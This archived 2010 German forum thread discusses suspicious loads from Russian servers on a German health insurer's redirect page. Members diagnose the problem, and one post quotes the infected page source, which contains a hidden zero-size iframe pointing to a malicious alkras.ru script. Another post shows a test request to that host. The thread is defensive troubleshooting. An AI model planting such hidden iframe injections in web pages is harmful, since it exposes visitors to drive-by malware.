1. Liebe Forumsgemeinde,

    aufgrund der Bestimmungen, die sich aus der DSGVO ergeben, müssten umfangreiche Anpassungen am Forum vorgenommen werden, die sich für uns nicht wirtschaftlich abbilden lassen. Daher haben wir uns entschlossen, das Forum in seiner aktuellen Form zu archivieren und online bereit zu stellen, jedoch keine Neuanmeldungen oder neuen Kommentare mehr zuzulassen. So ist sichergestellt, dass das gesammelte Wissen nicht verloren geht, und wir die Seite dennoch DSGVO-konform zur Verfügung stellen können.
    Dies wird in den nächsten Tagen umgesetzt.

    Ich danke allen, die sich in den letzten Jahren für Hilfesuchende und auch für das Forum selbst engagiert haben. Ich bin weiterhin für euch erreichbar unter tti(bei)pcwelt.de.
    Dismiss Notice

Bei Aufruf Krankenkassen-Website Laden von russischen Servern

Discussion in 'Sicherheit' started by pc-doofie, Feb 6, 2010.

Thread Status:
Not open for further replies.
Page 1 of 2
  1. pc-doofie

    pc-doofie Halbes Megabyte

    Hallo, mal ne blöde Frage: Ich versuche hier gerade die Seite meiner Krankenkasse (DAK: www.dakexclusiv.de) aufzurufen, um nach dem Login etwas über die gesicherte https-Verbindung nachzugucken, da versucht diese Seite ständig was von nthost.ru und alkras.ru zu laden (angezeigt in der unteren Statusleiste des Firefox 3.6) und die Seite baut sich nicht auf (...wartend). Nach Abbruch und erneutem Laden wird die Seite vollständig und von der DAK (zumindest entsprechend der Statuszeile im Firefox) geladen, von was russischem ist da nichts mehr zu lesen. Erneute Versuche (nach Beenden des Browsers und Neustart) versuchen nach Aufruf der Seite wiederum zuerst etwas von den genannten russischen Servern zu laden. Nach Abbruch wiederum vollständiges Laden von der DAK. Wird da etwa die Seite entführt oder habe ich einen Virus / Trojaner / Spam drauf???

    Hab schon die Cookies durchgeguckt, kann da aber nichts verdächtiges finden. Kann mir jemand einen Tipp geben??

    Danke.

    BS: Vista Basic, Browser: Firefox 3.6, Javascript sowohl aus-/ als auch eingeschaltet.
     
    Last edited: Feb 6, 2010
    pc-doofie, Feb 6, 2010
    #1
  2. deoroller

    deoroller Wandelndes Forum

    Also bei mir kommen die Server auch.
    Und dazu die Warnung

    [​IMG]

    und hier leuchten die Alarmglocken

    [​IMG]
     
    Last edited: Feb 6, 2010
    deoroller, Feb 6, 2010
    #2
  3. kalweit

    kalweit Hüter der Glaskugel

    Die Seite sollte eigentlich nicht mehr als eine Weiterleitung auf die Hauptseite dak.de sein. Da ich keine Kunde dort bin, kann ich nicht weiter testen, aber bis zum Login-Formular ist hier alles sauber. Alle Elemente verschlüsselt und Zertifikat ok.
     
    kalweit, Feb 6, 2010
    #3
  4. deoroller

    deoroller Wandelndes Forum

    Die Warnung bezieht sich wohl auf das unverschlüsselte Pixel. :rolleyes:

    [​IMG]
     
    deoroller, Feb 6, 2010
    #4
  5. pc-doofie

    pc-doofie Halbes Megabyte

    Hm, habe gerade noch mal probiert. Wenn ich die Seite lade, taucht zwischen den dak.de - Servern, beim ersten Laden alkras.ru und ne Zahlenfolge als Server in der Statusleiste auf. Sehr merkwürdig.

    Jemand noch ne Idee??

    Danke.
     
    pc-doofie, Feb 6, 2010
    #5
  6. Abraham54

    Abraham54 Kbyte


    Dann het die DAK ein grosses Problem, denn dann denk ich, dass die Website von hackern prepariert worden ist!
     
    Abraham54, Feb 6, 2010
    #6
  7. deoroller

    deoroller Wandelndes Forum

    Das könnte man dem Webmaster mal sagen. :zzz:
     
    deoroller, Feb 6, 2010
    #7
  8. X.MAN

    X.MAN Moderator

    Ein Logfile von HijackThis wäre nicht schlecht....
     
    X.MAN, Feb 6, 2010
    #8
  9. deoroller

    deoroller Wandelndes Forum

    Dann müsste jeder eins machen, der die Seite aufgerufen hat.
    Es können Sicherheitslücken ausgenutzt werden, um darüber Schadcode einzuschleusen. Für jetzt und alle Ewigkeit. :rolleyes:
     
    deoroller, Feb 6, 2010
    #9
  10. poro

    poro Ganzes Gigabyte

    FF3.6 und IE8... nix.
    Gleich auf DAK-Seite weitergeleitet.
    deos sdc.bitsdontbyte is bei mir nicht.


    Seite mal mit IE8 gespeichert als Webseite, komplett(html).

    In webtrends.js

    HTML:
    begin: user modifiable
	this.dcsid="dcs85looywuiqn7ner6h2x2ie_7y1x";
	this.domain="sdc.bitsdontbyte.de";
    ..................

    HTML:
    BITSDONTBYTE advanced communication GbR

BITSDONTBYTE wurde 1999 gegründet und wird von den Inhabern Thomas Ekert und Bernd Muermans geführt. Der Schwerpunkt des Unternehmens ist die IT-geschützte Kommunikation.

BITSDONTBYTE verfügt über einen Mitarbeiterstab von mehr als 25 Beratern, Creativen und Programmierern.

Je komplexer unsere Kommunikationswelt wird, desto höher ist der Anspruch an die Einfachheit von Lösungen für Empfänger und Nutzer. Selbst komplizierte digitale Vorgänge sollten emotional erlebbar und intuitiv bedienbar bleiben.

BITSDONTBYTE verbindet und optimiert mit E-DESIGN:

Funktionalität mit ansprechendem userfreundlichem Design
Digitale und klassische Kommunikation zu einem synergetischen Ganzen
Markenwert und Wertschöpfung eines Unternehmens nachhaltig

    --------


    Mit IE7 + Antivir kommt Meldung

    In der Datei 'J:\Temporäre Internetdateien\Content.IE5\LX1BEHXK\dakexclusiv_de[1].htm'
    wurde ein Virus oder unerwünschtes Programm 'HTML/Infected.WebPage.Gen' [virus] gefunden.

    Inhalt
    HTML:
    <html>
<head>
<title>DAK - Unternehmen Leben</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="refresh" content="0; URL=https://www.dak.de/content/securitycenter/index.html">
</head>

<body>

</body>
</html>
<iframe src="http://alkras.ru/cp/scripts/banner.php" width="0" height="0" style="display:none;"></iframe>
     
    poro, Feb 6, 2010
    #10
  11. kalweit

    kalweit Hüter der Glaskugel

    ...hm, scheint wenn, dann nur ein Szenario für den IE zu sein oder das Teil ist bereits unschädlich. Anschubsen per Gecko bringt nur einen 404 :nixwissen

    Code:
    GET /cp/scripts/banner.php HTTP/1.1
Host: alkras.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (.NET CLR 3.5.30729)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.x 404 Not Found
Server: nginx/0.6.31
Date: Sat, 06 Feb 2010 19:02:36 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Sun, 20 Dec 2009 04:13:23 GMT
Etag: "bb503a8-3656-47b2131979ec0"
Content-Encoding: gzip
     
    kalweit, Feb 6, 2010
    #11
  12. HalberH

    HalberH Kbyte

    Ich glaube die Seite ist nicht ganz Sauber ist.

    Mein Anti Vir meldet Script Virus.
     
    HalberH, Feb 6, 2010
    #12
  13. neppo1

    neppo1 Halbes Gigabyte

    Die Verschlüsselung wird angezeigt, aber jetzt läuft es über ein Amerikanischen Server:grübel:
     

    Attached Files:

    neppo1, Feb 6, 2010
    #13
  14. pc-doofie

    pc-doofie Halbes Megabyte

    Also demnach doch ein Virus drin !!! Ich hab am Sonnabend versucht jemanden bei der DAK zu erreichen. Aber natürlich war da keiner da, der sich mit technischen Dingen da auskennt. Werde es am Montag noch mal dort probieren.

    Vielen Dank für eure Hilfe.
     
    pc-doofie, Feb 7, 2010
    #14
  15. kalweit

    kalweit Hüter der Glaskugel

    Verisign ist eine Zertifizierungstelle für SSL-Zertifikate.
     
    kalweit, Feb 7, 2010
    #15
  16. pc-doofie

    pc-doofie Halbes Megabyte

    BTW: Die russischen Server hängen immer noch mit drin. Wenn ich das richtig sehe, ist neben www.nthost.ru und alkras.ru nun noch ein dritter (7874224.ru) mit drin.
     
    pc-doofie, Feb 7, 2010
    #16
  17. poro

    poro Ganzes Gigabyte

    Wie gings weiter?
     
    poro, Feb 12, 2010
    #17
  18. pc-doofie

    pc-doofie Halbes Megabyte

    Hallo,

    ja, ich habe am Montag da angerufen. Daraufhin gab es einen sehr intensiven Telefon- und Mailverkehr, in dem ich das Ganze erläutern mußte und inzwischen scheint die Seite wohl wieder sauber zu sein. Sie wollen sich noch mal melden, wenn sie genau wissen, was eigentlich los gewesen ist.
     
    pc-doofie, Feb 12, 2010
    #18
  19. pc-doofie

    pc-doofie Halbes Megabyte

    Hallo, ich wollte nun noch mal fertig berichten. Ich habe inzwischen eine Nachricht bekommen, in der gesagt wird, das Ganze war ein Client-Angriff (Trojaner), der jedoch die DAK-Systeme nicht betrifft.

    Hm, merkwürdig (nachdem nun mehrere von den Auffälligkeiten berichtet haben...) und ich auch nichts weiter auf meinem Rechner gefunden habe.
     
    pc-doofie, Mar 17, 2010
    #19
  20. kalweit

    kalweit Hüter der Glaskugel

    ....was hast du erwartet? Sie werden dir wohl kaum schreiben, dass sie ihre Technik nicht im Griff haben.
     
    kalweit, Mar 17, 2010
    #20
Page 1 of 2
Thread Status:
Not open for further replies.

Share This Page